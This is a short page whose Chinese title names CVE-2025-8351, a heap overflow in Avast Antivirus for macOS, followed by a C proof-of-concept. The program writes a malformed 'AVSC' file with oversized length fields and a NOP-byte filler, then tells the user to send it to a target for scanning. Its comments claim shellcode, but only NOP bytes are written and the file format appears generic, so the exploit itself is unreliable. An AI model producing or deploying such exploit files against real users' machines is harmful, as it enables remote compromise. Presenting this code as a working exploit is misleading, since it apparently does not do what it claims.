CVE-2025-8351 Avast Antivirus MacOS堆溢出远程代码执行漏洞

// CVE-2025-8351 PoC - Malformed file to trigger heap overflow in Avast Antivirus MacOS // This PoC creates a minimal malformed file that may trigger the buffer overflow // WARNING: For educational and security research purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> // Malformed file header structure typedef struct { char magic[4]; // File signature uint32_t version; // File version uint32_t data_size; // Size of data section uint32_t overflow_len; // Length that triggers overflow char payload[1024]; // Malicious payload } __attribute__((packed)) malformed_file_t; void create_malformed_poc(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { perror("Failed to create file"); return; } malformed_file_t file; // Set magic bytes (file signature) memcpy(file.magic, "AVSC", 4); file.version = 0x00000001; // Trigger overflow with excessive size value file.data_size = 0xFFFFFFFF; // Max uint32 to trigger overflow file.overflow_len = 0x10000; // Large overflow length // Fill payload with NOP sled + shellcode pattern memset(file.payload, 0x90, sizeof(file.payload)); // Write malformed file fwrite(&file, sizeof(malformed_file_t), 1, fp); fclose(fp); printf("PoC file created: %s\n", filename); printf("Send this file to target for scanning via Avast Antivirus\n"); } int main(int argc, char* argv[]) { const char* filename = "cve_2025_8351_poc.avs"; if (argc > 1) { filename = argv[1]; } create_malformed_poc(filename); return 0; }